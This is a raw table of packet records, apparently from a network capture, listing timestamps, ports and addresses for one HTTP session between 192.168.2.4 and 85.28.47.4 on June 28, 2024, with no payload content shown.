Jun 28, 2024 22:32:06.804066896 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.804085970 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.804104090 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.804162025 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.804171085 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.804182053 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.804191113 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.804199934 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.804207087 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.804215908 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.804230928 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.804255009 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.804357052 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.804366112 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.804377079 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.804389000 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.804394007 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.804403067 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.804416895 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.804421902 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.804430008 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.804444075 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.804475069 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.804635048 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.804645061 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.804655075 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.804666996 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.804672003 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.804681063 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.804689884 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.804694891 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.804718971 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.804897070 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.804905891 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.804915905 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.804924965 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.804933071 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.804945946 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.804961920 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.805109978 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.805119991 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.805130005 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.805136919 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.805145979 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.805152893 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.805161953 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.805171013 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.805177927 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.805188894 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.805195093 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.805219889 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.805413961 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.805423975 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.805433035 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.805444002 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.805449963 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.805459976 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.805474997 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.805481911 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.805493116 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.805500031 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.805509090 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.805517912 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.805525064 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.805535078 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.805543900 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.805552006 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.805561066 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.805567980 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.805577040 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.805588007 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.805593967 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.805603027 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.805610895 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.805619001 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.805629969 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.805644989 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.805666924 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.806195021 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.806205034 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.806221008 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.806230068 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.806236029 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.806246042 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.806252956 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.806262016 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.806272030 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.806277990 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.806287050 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.806297064 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.806303978 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.806312084 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.806323051 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.806329012 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.806337118 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.806348085 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.806353092 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.806360960 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.806370974 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.806379080 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.806386948 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.806396961 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.806404114 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.806413889 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.806421041 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.806430101 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.806437969 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.806444883 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.806453943 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.806471109 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.806493998 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.807060003 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.807069063 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.807077885 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.807087898 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.807097912 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.807112932 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.807120085 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.807127953 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.807138920 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.807148933 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.807153940 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.807163954 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.807173014 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.807180882 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.807189941 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.807198048 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.807204962 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.807214975 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.807223082 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.807230949 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.807240963 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.807246923 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.807256937 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.807267904 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.807274103 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.807284117 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.807296991 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.807301998 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.807310104 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.807322979 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.807327986 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.807336092 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.807353020 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.807374001 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.807838917 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.807849884 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.807858944 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.807877064 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.807909966 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.895226002 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.895282030 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.895287991 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.895296097 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.895329952 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.895345926 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.895353079 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.895364046 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.895373106 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.895405054 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.895431042 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.895476103 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.895486116 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.895608902 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.896348953 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.896399975 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.896425962 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.896436930 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.896476030 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.896492004 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.896498919 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.896538973 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.896557093 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.896569014 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.896578074 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.896589041 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.896599054 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.896603107 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.896627903 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.896647930 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.896673918 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.896713018 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.896733046 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.896745920 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.896775961 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.896856070 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.896866083 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.896873951 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.896903038 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.896918058 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.896958113 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.896967888 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.897000074 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.897011995 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.897020102 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.897027969 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.897054911 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.897073984 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.897150993 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.897160053 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.897171021 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.897181034 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.897187948 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.897196054 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.897212029 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.897241116 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.897337914 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.897347927 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.897357941 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.897382975 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.897398949 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.897526979 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.897536039 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.897546053 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.897556067 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.897563934 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.897572994 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.897583961 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.897591114 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.897598982 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.897618055 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.897641897 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.897768974 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.897778988 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.897787094 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.897797108 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.897806883 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.897813082 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.897833109 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.897852898 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.898013115 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.898021936 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.898036957 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.898046970 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.898055077 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.898063898 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.898076057 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.898081064 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.898089886 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.898099899 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.898107052 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.898116112 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.898124933 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.898130894 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.898147106 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.898168087 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.898355007 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.898365021 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.898375034 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.898384094 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.898396015 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.898401976 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.898421049 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.898444891 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.898464918 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.898474932 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.898483992 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.898494005 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.898503065 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.898509026 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.898519993 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.898526907 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.898535967 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.898545980 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.898552895 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.898561001 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.898571968 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.898580074 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.898588896 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.898597002 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.898617983 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.898641109 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.899136066 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.899144888 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.899157047 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.899168015 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.899174929 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.899183989 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.899194956 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.899199009 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.899209976 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.899216890 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.899224043 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.899233103 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.899240971 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.899254084 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.899266005 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.899271011 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.899280071 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.899291992 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.899296999 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.899306059 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.899316072 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.899322033 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.899333000 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.899339914 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.899348021 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.899360895 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.899365902 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.899374962 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.899389982 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.899410009 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.899715900 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.899732113 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.899741888 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.899751902 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.899761915 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.899768114 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.899777889 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.899785995 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.899820089 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.899884939 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.899903059 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.899912119 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.899919987 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.899926901 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.899939060 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.899944067 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.899951935 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.899962902 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.899970055 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.899982929 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.899987936 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.899996042 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.900003910 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.900012016 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.900027990 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.900033951 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.900043964 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.900051117 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.900058985 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.900068045 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.900074959 CEST	80	49731	85.28.47.4	192.168.2.4
